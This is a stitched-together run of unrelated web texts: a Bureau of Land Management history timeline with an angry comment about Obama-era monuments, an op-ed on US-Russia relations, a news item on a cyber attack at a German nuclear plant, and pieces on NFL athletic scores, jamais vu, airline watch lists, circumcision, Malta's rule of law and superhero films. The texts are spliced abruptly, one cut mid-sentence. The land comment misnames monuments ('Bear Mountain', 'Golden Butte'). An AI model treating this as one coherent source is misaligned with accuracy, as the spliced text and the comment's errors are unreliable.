As the manager of more land (245 million surface acres or one-tenth of America’s land base) and more subsurface mineral estate (700 million acres) than any other government agency, the BLM carries out a dual mandate under FLPMA: that of managing public land for multiple uses (such as energy development, livestock grazing, mining, timber harvesting, and outdoor recreation) while conserving natural, historical, and cultural resources (such as wilderness areas, wild horse and wildlife habitat, artifacts, and dinosaur fossils). In the language of FLPMA, the BLM’s responsibility is to administer public lands “on the basis of multiple use and sustained yield” of resources.
What this means, on a practical level, is that the BLM – except in areas specifically set aside for conservation purposes – must multitask to fulfill its duties. Nevertheless, consistent with the BLM’s goal of good stewardship of public land resources, “multiple use” does not mean every use on every acre.
Below is a timeline of the BLM’s history, which is primarily marked by the enactment of legislation that has guided the agency’s mission, culminating in the passage of FLPMA, the BLM’s legislative “charter,” in 1976.
1776 — Declaration of Independence signed
1778 — Second Continental Congress, operating under the Articles of Confederation, begins persuading states to cede claimed land to create the public domain
1783 — Revolutionary War ends. Lands south of the Great Lakes and east of the Mississippi River are ceded by Britain to national government of Confederation
1785 — Land Ordinance adopted by Congress of the Confederation allows settlement of public domain lands and establishes Federal government’s rectangular survey system
1787 — Drafting of U.S. Constitution begins
1788 — U.S. Constitution ratified, gives Congress the “power to dispose of and make all needful rules and regulations respecting the territory or other property belonging to the United States…”
1803 — Louisiana Purchase by the United States from France nearly doubles size of the nation. Ohio becomes first state created from the public domain.
1804-1806 — Lewis and Clark expedition
1812 — General Land Office, responsible for all public land sales, patents, and entries, is established within Treasury Department to oversee disposition of ceded and acquired lands. (As successor agency to the GLO, the BLM maintains more than nine million historical land documents: survey plats and field notes, homestead patents, military warrants, and railroad grants. Many of these records can be found at: www.glorecords.blm.gov.)
1819 — Spanish cession of Florida and boundary adjustments west of the Mississippi River add more than 46 million acres to the public domain
1845 — Republic of Texas, which had declared its independence from Mexico, is annexed by the United States
1846 — Oregon Treaty with Britain gives the United States claim to part of the Pacific Northwest
1848 — Mexico cedes California and vast areas of the inland West to the United States
1853 — Gadsden Purchase adds nearly19 million acres of public land in southern Arizona and New Mexico
1861-1865 — American Civil War
1862 — Homestead Act entitles Western settlers to 160 acres of public land after they reside on and cultivate the land for five years. (On Jan. 1, 1863, Daniel Freeman and 417 others file the first homestead claims. By 1934, over 1.6 million homestead applications are processed, passing more than 270 million acres of public domain into private ownership.)
1862 — Transcontinental Railroad Act gives railroad companies rights-of-way and alternate sections of public domain lands along both sides of their railroads
1867 — United States purchases Alaska from Russia for $7.2 million, adding 375 million acres to the public domain
1869 — First coast-to-coast railroad is completed at Promontory Summit, Utah
1872 — General Mining Law identifies mineral lands as a distinct class of public lands subject to exploration, occupation, and purchase under specified conditions
1877 — Desert Land Act authorizes the disposition of 640-acre tracts of public lands to homesteaders upon proof of reclamation of the lands by irrigation
1878 — Timber and Stone Act authorizes negotiated sale of public lands that are valuable for either logging or mining and otherwise unfit for cultivation
1889 — Oklahoma Land Rush begins the disposal of public domain lands in Oklahoma
1894 — Carey Act authorizes transfer of up to one million acres of public desert land to states for settling, irrigating, and cultivating purposes
1897 — Forest Management “Organic” Act transfers fire protection responsibilities for forest reserves from the Department of Army to the General Land Office
1898 — Congress extends homestead laws to Alaska
1906 — Antiquities Act preserves and protects prehistoric, historic, and scientifically significant sites on public lands through creation of national monuments
1916 — Stock Raising Homestead Act authorizes homesteads of 640 acres and separates surface rights from subsurface (mineral) rights
1920 — Mineral Leasing Act authorizes Federal leasing of public lands for private extraction of oil, gas, coal, phosphate, sodium, and other minerals
1926 — Recreation and Public Purposes Act allows conveyance or lease of public lands to state and local governments for outdoor recreation purposes
1934 — Taylor Grazing Act authorizes grazing districts, regulation of grazing, and public rangeland improvements in Western states (excluding Alaska) and establishes Division of Grazing (later renamed U.S. Grazing Service) within the Department of the Interior
1937 — Oregon and California (O&C) Revested Lands Sustained Yield Management Act requires O&C Railroad lands to be managed for permanent forest production and provides for watershed protection, regulation of streamflow, and recreational facilities
1941-1945 — World War II
1942 — Extensive withdrawal of public lands for military purposes begins, with more than 13 million acres withdrawn in two years
1946 — BLM is established within the Department of the Interior through the consolidation of General Land Office and U.S. Grazing Service
1953 — Outer Continental Shelf Lands Act authorizes Secretary of the Interior to lease mineral lands more than three miles offshore. The BLM assumes responsibility for leasing through competitive sales.
1954 — Recreation and Public Purposes Act amends the 1926 Act and allows sale and lease of public lands for purposes besides recreation
1955 — Multiple Surface Use Act withdraws common varieties of minerals from entry as mining claims and allows claim owners to use the surface for mining operation purposes only.
1959 — Wild Horse Protection Act (also known as the “Wild Horse Annie Act”) prohibits hunting of wild horses and burros on public land by aircraft or motor vehicles
1964 — Wilderness Act protects undeveloped Federal land to preserve its natural condition
1965 — Land and Water Conservation Fund is established for Federal acquisition of outdoor recreation areas
1966 — National Historic Preservation Act expands protection of prehistoric and historic properties
1968 — Wild and Scenic Rivers Act and National Trails System Act preserve sites with outstanding natural, cultural, scenic, historic, and recreational significance
1969 — National Environmental Policy Act requires Federal agencies to assess the impacts of their actions on the environment
1971 — Alaska Native Claims Settlement Act provides for settlement of aboriginal land claims of Alaskan Natives and Native groups. The BLM is tasked with the largest U.S. land transfer effort ever undertaken.
1971 — Wild Free-Roaming Horses and Burros Act mandates protection and management of these animals on public lands managed by the BLM and U.S. Forest Service
1973 — Endangered Species Act requires the conservation of threatened and endangered plants and animals and the ecosystems on which they depend
1975 — Energy Policy and Conservation Act addresses energy demands and establishes a strategic petroleum reserve
1976 — Federal Land Policy and Management Act (FLPMA, the BLM’s legislative “charter”) repeals homestead laws and establishes policy of retaining public lands in Federal ownership. FLPMA requires that these lands be managed for multiple uses and sustained yield through land-use planning.
1976 — Management of the National Petroleum Reserve–Alaska is transferred from the U.S. Navy to the BLM
1977 — Surface Mining Control and Reclamation Act ensures environmental safeguards for mining and reclamation of mined areas
1978 — Public Rangelands Improvement Act requires inventory, determination of trends, and improvement of public rangelands
1979 — Archaeological Resources Protection Act requires permits for excavation or removal of these resources from Federal lands and sets criminal and civil penalties for violations
1980 — Alaska National Interest Lands Conservation Act designates millions of acres of public land in Alaska as wilderness, national parks, national wildlife refuges, and wild and scenic rivers. Act also provides for subsistence use by rural Alaska residents.
1980 — The BLM completes its first resource management (land-use) plan, covering the California Desert Conservation Area, and designates its first areas of critical environmental concern in Utah and California
1983 — The BLM transfers responsibility for offshore leasing to the Minerals Management Service
1987 — Federal Onshore Oil and Gas Leasing Reform Act establishes a new leasing system and changes certain operational procedures for onshore resources on Federal lands.
1990 — Northern spotted owl is listed as a threatened species under the Endangered Species Act, leading to enjoinment of all Federal timber sales within its range
1996 — Grand Staircase-Escalante National Monument in Utah is designated by President, representing first such monument under BLM management
2000 — National Landscape Conservation System, consisting of wilderness areas, wilderness study areas, national monuments, and other conservation-related units on BLM-managed land, is established by Secretary of the Interior
2005 — Energy Policy Act promotes energy efficiency and the production of secure, affordable, and reliable domestic energy
2008 — BLM-managed lands are officially designated as the National System of Public Lands
2009 — Omnibus Public Land Management Act officially authorizes National Landscape Conservation System and sets penalties for unauthorized removal of paleontological resources from Federal lands
*********************************************
Land tyranny didn’t stop in 2009 — in August 2015 — Obama renamed Mount McKinley in Alaska to Mount Denali and in 2016 – Obama was hell bent on land grabbing for the BLM, including property in Arizona near the Grand Canyon — and in 2016 with much state controversy — Obama took Bear Mountain in Utah for a National Monument designation and also under lesser controversy – Obama took Golden Butte in Nevada (between Grand Canyon and Lake Meade) and designated it as a National Monument, also. …. AND NOT JUST THE BLM — in the Forestry Service — On Oct. 10, 2014, President Barack Obama designated 346,177 acres of existing federal lands as the San Gabriel Mountains National Monument, the eighth national monument under Forest Service management (this is in California). …. and don’t forget — wild burros and wild horses were rounded up and slaughtered (ignoring prior “adoption” round ups. … DOESN’T SEEM LIKE THE LAND TYRANNY WILL EVER END.
What BLM doesn’t indicate in the history.. is that the U.S. Constitution began with the U.S. only owning acreage donated from the States of Virginia and Maryland — which were set up for Congress to be sited on their own property — separate of any state — the DISTRICT OF COLUMBIA. (Residence Act on July 16, 1790 for the nation’s capitol). … Other land Constitutionally approved was land for PORTS |
but the Russians had lost interest, and the U.S. Senate would be unlikely to ratify it. Moreover, with the end of the mission in Afghanistan, the supply route became inconsequential. Iran was at the negotiating table.
Obama canceled his summit with Putin last fall not simply because of the Edward Snowden affair but because there was nothing to accomplish at the meeting. Recently, U.S. officials suggested the pursuit of a common economic agenda might help build cooperation between the two countries – further illustrating what little shared interest remains.
As Putin contemplated entering Crimea, losing anything of value in the U.S.-Russia relationship was clearly not a central concern. It has been evident for some time that his relationship with Obama means little to him. Putin has continued his strong crackdown on civil society at home without regard for external criticism. Moreover, he recognizes that his interests in Ukraine are far greater than those of the Americans, thereby affording him great freedom of maneuver. The reset has been over for some time, and there is nothing to save.
The relationship was at its lowest point since the collapse of the Soviet Union when Barack Obama won the presidency; it is now far worse. But given the nature of the Putin regime, that is to be expected. Moreover, the idea that the United States still needs Russia’s support on Syria and Iran runs counter to the facts. Putin has successfully pursued his pro-Assad policy throughout the Syrian civil war, and it is Iran’s bilateral relationship with the United States that will be critical to a future nuclear deal.
Obama warned Putin of political and economic isolation in their phone call on Saturday, and he should back it up with efforts within the United Nations, the Organization for Security and Cooperation in Europe and through sanctions against Russia’s elite. Since the Russian president’s internal and foreign policies undermine U.S. efforts to promote an international order built on democracy and rule of law, Obama must change course dramatically with respect to his administration’s foreign policy strategy with Russia.
James Goldgeier is dean of the School of International Service at American University, co-author of “America Between the Wars: From 11/9 to 9/11,” and co-director of the Bridging the Gap Project.A German nuclear plant suffered a disruptive cyber attack, the news was publicly confirmed by the IAEA Director Yukiya Amano.
According to the head of the United Nations nuclear watchdog, the International Atomic Energy Agency (IAEA) Director Yukiya Amano, a nuclear power plant in Germany was hit by a “disruptive” cyber attack two to three years ago.
“This issue of cyber attacks on nuclear-related facilities or activities should be taken very seriously. We never know if we know everything or if it’s the tip of the iceberg.” Amano told Reuters Agency.
“This is not an imaginary risk,” added Amano who also participated in a meeting with Foreign Minister Frank-Walter Steinmeier.
Amano confirmed that cyber attacks on nuclear plants are a serious threat, he did not provide further details of either incident.
Fortunately, the damages caused by the cyber attack on the German nuclear plant did not force the operators to shut down its processes but urged the adoption of additional precautionary measures.
“This actually happened and it caused some problems,” he said. “[the Germant plant] needed to take some precautionary measures.”
Amano added that is is the first time that the attack is discussed in public, he also reported a case in which an individual tried to smuggle a small amount of highly enriched uranium with the intent to build a so-called “dirty bomb.”
Be careful the attack was disruptive, not destructive, and believe me there is a substantial difference. The term disruptive refer a category cyber attacks that are able to destroy internal computer systems without causing the complete destruction of the plant. Examples of disruptive attacks are the attacks against Sony Pictures Entertainment and Stuxnet.
This isn’t the first time that we receive the news of cyber attacks on nuclear plants There are three publically known attacks against nuclear plants:
It is likely that Amano was referring the cyber attack against the Gundremmingen nuclear plant that occurred earlier this year. Security experts in that case, detected Conficker and Ramnit malware.
Security experts are aware of the possibility that hackers could cause serious problems to nuclear plants worldwide.
According to a report released in March, Germany is not adequately equipped to prevent terrorist attacks in its nuclear plants.
The report was presented by Oda Becker, an independent expert on nuclear plants.
This is of course extremely distressing, especially in the light of the recent tragic events in Belgium with substantial casualties.
The report was brought to public attention at the German Federation for the Environment and Nature Conservation (BUND) Congress, where concerns were expressed towards protecting citizens from catastrophic consequences of another terrorist attack.
Amano explained that the UN agency was supporting countries to improve the resilience of their infrastructure to cyber attacks with a series of measures.
“Amano said the U.N. agency was helping countries increase cyber and overall nuclear security through training and a detailed database that included information from 131 countries, and by providing them with radiation detection devices.” reported the Reuters.
“Since 2010, the IAEA said it had trained over 10,000 people in nuclear security, including police and border guards, and has given countries more than 3,000 mobile phone-sized instruments for detecting nuclear and other radioactive material.”
Pierluigi Paganini
(Security Affairs – nuclear plant, malware)
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Share OnFlanagan's art, which was widely criticized in the first miniseries (Batman: Cacophony) and much improved in time for the second (Batman: The Widening Gyre), has made another leap forward in this series, which Smith says rounds out their trilogy.
The series stars Onomatopoeia, a character Smith introduced during his best-selling Green Arrow run who went on to become a Batman villain in Smith's trilogy. Rumor has it that Smith has a deal in place with DC that no other writer can use the character without his permission.
The Batman costume is also looking pretty old-school in this shot, which makes sense--not only is it the third in a series of stories that started before The New 52, but Smith's Batman books have always taken a lot of time to produce and generally have been considered non-canonical anyway. The series will reportedly kick off in the summer. Check out Smith's comments below, and the preview art at right.Housing Anywhere helps students to search for rooms in one of 500 cities, get in touch with locals directly, and book a place to stay via their secure platform.
Making company data driven on a growing phase
Challenge
Housing Anywhere is a startup that has rapidly grown during the last few years. The team eventually came to a stage where all decisions should be made on the basis of data it has.
Product, Marketing and Data Science departments all were searching for solutions that would fit their needs, as well as bring comprehensive transparency within the organization.
Solution
Housing Anywhere uses Statsbot on a daily basis to support their growth as a business. Slack integration allows them to create communication around good performances and areas of improvements on the fly.
“Statsbot provides our teams with the metrics that matter to them, all from a centralized place.” — Djordy Seelmann, Product Lead at Housing Anywhere.
“We were looking for ways to make analytics central in our processes and Statsbot proved to be a successful strategy for making the team data-minded.”
Saving time — the most valuable resource for your team
Challenge
As for every startup, time is a critical resource for Housing Anywhere. They try to automate as much as they can in business. So the team didn’t want to spend hours each week running reports across analytic platforms, trying to glean data insights.
Solution
When Djordy and his team started saving time by using Statsbot, they realized that this is a scalable solution and tracking more metrics with Statsbot will bring a lot of benefits to their company.
Starting with just a couple of reports, Housing Anywhere now tracks 32 different metrics from Google Analytics and Mixpanel for their team of more than 100 people.
“Statsbot saves us valuable time on preparing reports every day, which we can spend on activities that directly affect our revenue.” — Djordy Seelmann, Product Lead at Housing Anywhere.
KEY TAKEAWAYS:When the Seahawks drafted center Kristjan Sokoli with the 224th pick in the seventh round on Saturday, most people were scratching their heads over the selection, while Seahawks fans nodded knowingly.
No one has the slightest clue who Kristjan Sokoli is except #Seahawks fans because #SPARQ. Pretty awesome. — Evan Silva (@evansilva) May 2, 2015
Seahawks fans knew that out of all prospects in the 2015 NFL Draft class, Sokoli had the highest SPARQ score.
Over the last few years, the Seahawks have become known for drafting and signing freakishly athletic players. Turns out, that is more than just pure coincidence. In fact, the Seahawks are using a formula to find their future stars.
Their Strength and Conditioning Coach, Chris Carlisle, helped develop Nike's SPARQ rating system, which the Seahawks appear to be using to find athletic freaks - or at least use to supplement their overall scouting effort. Think of it as an SAT score for Football Players. This "SAT" score, or SPARQ rating, does not trump the evaluation of game tape, a person's character and competitiveness, interviews with coaches, and medicals. It is just another tool for coaches to use, but it encapsulates one simple truth about the NFL:
Given the same level of talent, the bigger/faster/stronger players almost always win.
And that's where SPARQ comes in. The SPARQ score is calculated using eight inputs. There is no height or arm length component involved, but SPARQ blends an athlete's size, explosive power, speed and agility into one metric.
(1) Player Weight: this "normalizes" the score, giving credit to a bigger player who displays similar movement skills to a smaller, quicker player.
(2) Explosive power bench press, broad jump, vertical jump
(3) Speed and agility: forty-yard dash, ten-yard split, short shuttle and 3-cone drill.
Unfortunately, Nike never published the exact formula for the SPARQ metric. But an enterprising blogger for Field Gulls, Zach Whitman, reverse-engineered an approximation of the formula, and while he doesn't divulge the formula either, at least he publishes the results of his calculations at 3sigmaathlete.com.
Here's what the 2015 Dallas Cowboys draft class looks like as viewed by SPARQ:
pSPARQ, the single metric designed to summarize a player's athleticism, z-score and NFL% calculates a player’s ranking relative to his peers at his position. A 0.0 z-score and 50.0 percentile would represent a player who rates as a league-average NFL athlete at the position.
The Cowboys have drafted some truly superior athletes. Byron Jones, Randy Gregory, Mark Nzeocha, and Laurence Gibson rank among the Top Ten percent of all NFL players at their position in terms of athleticism.
Damien Wilson and Ryan Russell are both above average in terms of their athleticism, while Chaz Green and Geoff Swaim narrowly miss hitting the 50 percentile. Keep in mind that the average NFL player is already pretty athletic, so this designation is not at all a poor result.
So how does this draft class compare against the rest of the NFL in terms of its athleticism?
Zach Whitman has published the results of over 2,000 prospects eligible for the 2015 NFL draft. Those numbers show the SPARQ ratings of 242 of the 256 players selected in the 2015 draft. Here's what you get when you average out the SPARQ scores for those 242 players over the 32 teams that selected them:
[Update: In a previous version of this post, we had averaged the pSPARQ scores. Zach Whitman advised us that averaging the z-score would be more advisable, so we corrected that.]
Team Players Avg. z-score.. Team Players Avg. z-score.. Team Players Avg. z-score Seattle 8 1.19 NY Jets 6 0.25 Oakland 9 0.03 Dallas 8 1.01 Minnesota 9 0.23 Indianapolis 8 0.03 Philadelphia 5 0.78 NY Giants 6 0.20 Arizona 7 0.01 Atlanta 7 0.56 Pittsburgh 8 0.20 Buffalo 6 -0.05 Tampa Bay 6 0.50 Tennessee 8 0.18 Baltimore 9 -0.10 San Diego 5 0.48 Houston 7 0.16 Cleveland 10 -0.15 Kansas City 9 0.41 Cincinnati 9 0.14 New England 10 -0.18 Miami 7 0.31 Chicago 6 0.13 St. Louis 9 -0.21 Green Bay 7 0.30 Washington 10 0.12 Denver 8 -0.31 Detroit 6 0.28 Jacksonville 8 0.09 Carolina 5 -0.32 New Orleans 9 0.26 San Francisco 7 0.04
As measured by z-score, the Cowboys have assembled one of the most athletic group of rookies in the 2015 Draft class. It is telling that the Seahawks, Cowboys, and Eagles top this ranking.
The Seahawks helped pioneer this approach, so it's no surprise to see them top the rankings here. The Cowboys have not made a lot of fuss about their use of advanced analytics, but they too are at the forefront of the push towards a more analytically driven game - even if many observers will still vigorously deny this, based on little more than their own aversion against change or a traumatic experience in their high school math class.
And the Eagles have made no secret about their approach to securing premier talent either. Here's recently appointed Ed Marynowitz, vice president of player personnel, talking about how height, weight, and speed measurables drive the Eagles' player evaluation.
"Big picture wise, you want to play with the odds, not against the odds. And the odds are telling you that the majority of these guys that are under this certain prototype do not play at a starting level in the NFL. If you have seven draft picks, do you really want to waste one, especially in the top three rounds, on a guy that history is telling you... typically these guys with these types of measurables don’t produce at this level?" "I think size/speed wins," Marynowitz said. "[Chip] brought up the line, Nick Saban used the same line, big people beat up little people. There’s a reason why heavyweights don’t fight the lightweights. This is a big man’s game. For what we do offensively, especially at the receiver position and their involvement in the run game in terms of blocking for us, I think size matters in that aspect as well. Overall, you don’t want to sacrifice athletic ability and speed, but if you can get size and speed at any position, you’re looking to get that and acquire those players."
It's not quite Moneyball yet, but the way that teams evaluate prospects is changing, and the Cowboys are at the forefront of this push.
Of course, even the fastest defender is not going to help your team if he consistently runs in the wrong direction. But if nothing else, the 2015 Cowboys draft class has this going for them: they have the pre-requisite athleticism that should allow them to compete and succeed at the NFL level.Is it really you or jamais vu?
ABC Science Online
The first scientific study of jamais vu, the reverse of déjà vu, has shown that the experience exists and can be induced, an international memory conference has heard.
Jamais vu literally means "never seen" and describes the sense of unfamiliarity in the face of very familiar things or situations, says UK researcher Dr Chris Moulin of the University of Leeds.
"If you stare at a word, for instance, it loses its meaning," says Moulin, who adds that an estimated 60% of people have experienced jamais vu.
He presented his research for the first time at the 4th International Conference on Memory in Sydney this week.
Jamais vu is the opposite of déjà vu, or "already seen", which is a sense of familiarity about an unfamiliar object, or the feeling that "I've been here before".
"Musicians can get [jamais vu] in the middle of playing a familiar passage. It's the sensation where you wake up in the morning and turn to the person next to you and feel that they're a stranger," says Moulin.
"[It can also occur] when you look at a face for too long and it begins to look strange, or when you're in a familiar place but think 'I don't know where I am', for a brief, fleeting moment."
Jamais vu was first recognised about 100 years ago when it was regarded as something of a "gentleman's intrigue", Moulin says.
But it has never been systematically studied in a laboratory until now.
Brain fatigue
Moulin says his study shows it's possible to induce jamais vu by what's known as semantic satiation, which occurs when the brain becomes fatigued in a specific way.
He asked 92 subjects to write common words such as "door" 30 times in 60 seconds.
When they were later asked to describe their experiences, 68% showed signs of jamais vu.
For example, after writing "door" over and over again some participants reported that "it looked like I was spelling something else", it "sounded like a made-up word" and "I began to doubt that I was writing the correct word for the meaning".
Some thought they had been tricked into thinking it was the right word for a door.
"If you look at something for long enough the mind gets tired and it loses it's meaning," Moulin says.
Moulin says studying jamais vu will help researchers better understand psychiatric disorders like schizophrenia or Capgras delusion, where people believe someone they know very well has been replaced by an impostor.
"It suggests that this is the normal process that might go wrong in these people, they might just have chronic jamais vu," Moulin says.
His latest research aims to induce jamais vu and monitor what actually goes on in the brain using neural imaging.
Related StoriesIn January 2003, the federal government proposed taking over the matching of airline passenger names against the government's list of suspected terrorists, since too many innocent people were being caught up in bad matches by the airlines.
In January 2009, the government plans to do just that, the Department of Homeland Security told Congress Tuesday – saying that Secretary Michael Chertoff had just certified that the program works and protects people's privacy.
The current system has been dogged for years by sloppy name matches that have snared Sen. Ted Kennedy, a high-powered nun, small children and for a time, all men named David Nelson.
The latest version – dubbed Secure Flight – is far-removed from the version originally proposed in 2003. That program, known as CAPPS II, proposed to use fancy computer algorithms that would analyze commercial databases about potential travelers, in order to decide if a particular traveler merited a red, yellow or green terrorism score. That program was delayed many times after scandals over secret data-mining, Big Brother-like plans to use commercial data to rate passengers, and general mismanagement that forced Congress to repeatedly rein in the program.
By contrast, Secure Flight – estimated to cost $1 billion over 10 years – proposes to have airlines ask for more data – including date of birth – from travelers. The airlines would upload passenger lists to the Transportation Security Administration, which would then compare the lists themselves, The TSA says that since it will be more efficient at preventing name mismatches than airlines because the checking will all be centralized.
Homeland Security announced the certification in a hearing before a House Homeland Security subcommittee on Tuesday, where lawmakers again peppered officials from the TSA and the Terrorist Screening Center with questions about why the watch lists keep snagging innocent Americans.
Terrorist Screening Center deputy director Richard Kopel confirmed Tuesday that the master watch list contains a million names referring to 400,000 different individuals, though only 3 percent – or roughly 12,000 – are Americans. TSC officials also said that the problem isn't that people are unfairly listed, but that more than 99 percent of the complaints they handle are misidentifications. The No-Fly and Selectee lists currently sent to the airlines include only a subset of the larger list, according to officials.
Those problems sound oddly familiar – since it's the same one that government said it would solve when it proposed taking over the watch-list-matching and using a terrorism-scoring algorithm to figure out terrorists not yet on the list.
Then-Department of Transportation spokesman Chet Lunner told WIred.com in 2003, "Presently it's possible to be stuck in the computer system if you have the same or a similar name to someone on the no-fly list. We want to create a prompt, responsive system for citizen complaint resolution."
Currently, citizens who consistently can't get a boarding pass without a lengthy chat at the airline counter can try the DHS Traveler Redress Inquiry Program or contact each airline individually.
Washington, D.C., congressional delegate Eleanor Norton (D) dropped in for only a few minutes of today's hearing, but was clearly frustrated by the long-standing problem of mismatched names.
"You should give this problem to some high school nerds," Norton said. "It really speaks so poorly of this department that they haven't been able to figure it out."
TSA chief Kip Hawley tried to reassure the lawmakers that this go-round the government has a solution.
"We have built a system," Hawley said. "The privacy piece is in place, the tech is in place, the matching is done and the system is in place."
All that is left is getting the airlines to build IT systems to pipe the data back and forth and for the Congress's investigative arm - the GAO – to certify Chertoff's certification, according to Hawley.
Hawley said six airlines were interested in being early adopters of the new system.
The program has repeatedly failed the GAO's audits over privacy concerns.
DHS officials have been blaming the airlines for the poor name-matching, but the GAO reported Tuesday that the TSA failed to issue clear instructions about how to match names and that in 2005, when it audited the airlines, it only checked if the airlines were good at exact matches against the No-Fly list:
Before undertaking revisions of the relevant security directives in 2008, TSA expected air carriers to conduct similar-name matching but TSA’s security directives did not specify how many and what types of such name variations air carriers should compare. Consequently, in interviews with 14 air carriers, we found... some carriers compared more name variations than others; in addition, not every air carrier reported conducting similar-name comparisons.... Also, due to inconsistent air carrier processes, a passenger could be identified as a match to the watch list by one carrier and not by another.
The TSA tightened the rules about matching against the No-Fly list during the course of the audit, which the GAO found to be an acceptable interim solution.
See Also:Thoughts Provoked: Haaretz, the CDC, Pediatric News, and Yahoo Answers
For old-guard intactivists, it can be difficult to work up enthusiasm for the predictable details and epiphanies that appear in mainstream media coverage about circumcision. What does excite us is seeing a major media outlet publish an intelligent, long-form piece that shakes loose the typical circumcision dialogue within a given community and nudges it in the right direction.
A panoramic article on the religious and cultural aspects of circumcision just appeared in Haaretz, Israel’s oldest and most influential daily newspaper. “Even in Israel, more and more parents choose not to circumcise their sons,” the headline glows. The article’s author, Netta Ahituv, covers the territory of conformity, medicine, marital and family discord, and religious identity.
You must read this epic piece. I cannot possibly do it justice, but here are some takeaways: Even in Israel, having an intact penis is at worst no big deal. The dissenting parent gets over it, the grandparents love the kid anyway, and there are no associated medical or “hygiene” problems. Cutting off the foreskin, on the other hand, is painful for the baby and decreases sexual sensitivity for the man. And, perhaps the bottom line of concern to Haaretz’s readership, a boy who is born Jewish, i.e., to a Jewish mother, is still a Jew – whether he is circumcised or intact.
A different kind of reportage that begs critique comes from the august folks at the Centers for Disease Control, whose every politically-correct attempt to navigate the world of ritual circumcision paints them further into a corner of fainthearted health policy and hypocrisy. The June 8 edition of their Mortality and Morbidity Weekly Report featured an article on neonatal herpes simplex virus (HSV) infection in New York City infants, resulting from ritual circumcisions featuring “direct orogenital suction.” For those of you who may have been blissfully ignorant of this custom, called metzitzah b’peh, I’ll explain. In some ultra-Orthodox Jewish ritual circumcisions, the mohel (ritual circumciser) sucks the baby’s penis to remove the blood, after severing the foreskin. If the mohel has oral herpes, the virus can be transmitted to the baby. Herpes simplex infection in a neonate is devastating, and can cause seizures, psychomotor retardation, spasticity, blindness, learning disabilities and death. Of the eleven cases reported in the article, two babies died.
The CDC states, “Preventing the practice of direct orogenital suction is difficult, because ritual circumcision is a religious practice that usually occurs outside of health-care facilities.” This “difficulty” didn’t stop U.S. lawmakers from prohibiting the genital cutting of girls, and it doesn’t stop us from passing laws against child sexual assault, nor prosecuting the perpetrators. But the CDC, the largest public health organization in the world, clearly eschews any proscriptive measures to protect baby boys, instead recommending, “Physicians should counsel parents considering out-of-hospital Jewish ritual circumcision about the risks associated with direct orogenital suction,” and health departments should – if they discover a case of HSV caused by metzitzah b’peh – “notify the mohel… so that he can voluntarily cease putting infants at risk.” (Italics mine.)
Note that the current head of the Centers for Disease Control is Thomas Frieden, MD. Frieden was the Commissioner of Health and Mental Hygiene in New York City in 2005, when one baby died and two more were permanently disabled following metzitzah b’peh. His agency, responding to an outcry from ultra-Orthodox community members who insisted that any prohibition against sucking the blood from a baby’s penis was a violation of their religious freedom, opted to put the burden on parents, “strongly advis[ing]” them that they “explore all options” and “not have metzitzah b’peh (direct oral suctioning) performed during the [circumcision].”
A brief article in Pediatric News, which came to me courtesy of a member of Intact America’s board of health professionals, interested me more for what I could read into it then for what it was meant to address. It gives a low-tech solution for a painful problem – a man or boy catching his penis in a zipper. The recommended treatment? Douse the genitals in mineral oil, wait thirty minutes, and (though the pants may be ruined) the skin will release from the zipper’s teeth. What’s refreshing about this article is, for one, the author does not blame the foreskin (any part of a man’s penis can get caught in a zipper), or recommend cutting it off. Also, from the headline, it appears that he actually (and correctly) considers the foreskin to be part of the penis, not an ancillary flap of skin.
More alarming, though, is the article’s discussion of another common approach to the problem – administering a penile block (which involves injecting the penis to anesthetize it) before forcibly pulling the zipper away. (Keep in mind that penile blocks are now the anesthetic of choice for cirumcision among doctors who have heard the message that cutting off a baby’s foreskin with no pain-control is inhumane.) Referring to this technique, the author, a pediatrician, says “Most kids would rather die with that zipper attached to them than have you do a penile block.” This article, then, sends a clear message that injections to numb the penis are themselves excruciating. The alternative is obvious – no circumcision, and thus no need for anesthetic.
Finally, on a lighter note, intactivist Dan Bollinger was chosen by Yahoo as having written the “best answer” to the question, Are there really any benefits to circumcising a penis? Click here to read Dan’s answer.*
As always, I would love to hear your feedback. And please forward this post to your friends!
–Georganne Chapin
* For those fortunate enough to know him, Dan Bolinger is an intactivist’s intactivist. Few take the subject more seriously than Dan. While there are some who find little or no humor in the topic of circumcision, for others, laughter can be the gateway to understanding a previously unexplored subject for the first time. There are many paths to enlightenment.MEPs looking into death of journalist 'disturbed' by trip to Malta
MEPs on a fact-finding mission to Malta after the killing of the investigative journalist Daphne Caruana Galizia have said they arrived “seriously concerned” about the rule of law on the island and were leaving “even more worried”.
Dispatched after the European parliament demanded that EU authorities open a formal dialogue with Malta over the death, the delegation said an apparent reluctance to investigate and prosecute major cases had created a “perception of impunity”.
The Portuguese Socialist MEP Ana Gomes said the delegation found it “extremely disturbing” that some of the officials it met did not answer its questions. One, prime minister Joseph Muscat’s chief of staff, Keith Schembri, read out a prepared statement, she said, while another “never showed up”.
The German Green MEP Sven Giegold said after two days of meetings with government officials, regulators, local journalists media and civil rights activists that he was particularly concerned about the island’s police and attorney general.
Both had demonstrated “a high degree of unwillingness to investigate and a failure to prosecute corruption and money-laundering”, Giegold said, adding he left a meeting with senior police officials with an impression of “incompetence”.
Giegold said publicly available information and even reports by the anti-money laundering agency FIAU had failed to trigger investigations, “protecting high government officials and financial institutions”.
Malta’s judicial system “has demonstrated systemic problems rooted in Malta’s constitution”, he said, adding that the prime minister’s right to appoint top officials had severely weakened the judicial system and financial supervision.
Caruana Galizia, whose hugely popular blog attacked high-level corruption, shady business dealings and organised crime on the island, died in October in a powerful car bomb yards from her home.
Her family are taking legal action against the island’s police, saying the investigation into the killing cannot be impartial and independent since it is being run by a senior officer married to a top government minister who was the subject of critical articles by Caruana Galizia.
The MEPs’ delegation would now submit its report and recommendations, Giegold said, and pursue “continued dialogue with the European commission in the run-up to an article 7 procedure”, a formal audit of the rule of law in a member state.Advertisements
During Captain America: Civil War, fans could sense that there was more than just a friendship blooming between Vision and Scarlet Witch. Set photos (Spoilers!!!) revealed months ago confirmed that the two would be moving past a friendship. In a recent interview with We Got This Covered Elizabeth Olsen took it a step further and teased that the relationship could be here to stay.
In any other world I would say, “I don’t know,” but because there are paparazzi photos that kind of spoil things for fans – I think it’s safe to say that we now get to explore that part of the comic book. We get to introduce and really explore their relationship. It creates a really exciting arc for me and I’m so lucky I get to work with (Paul) Bettany all the time now.
Fans of both these characters could be happy to see their relationship play out on the big screen. This could also add higher stakes if one of them were to be killed during the film leaving the other without their lover. It will also be interesting to see how a movie jam packed with so many characters will be able to develop a love story in the film as well.
Any questions will be answered when the film hits theaters on May 4, 2018. In the meantime, let us know how you feel about the super hero romance in the comments section below!
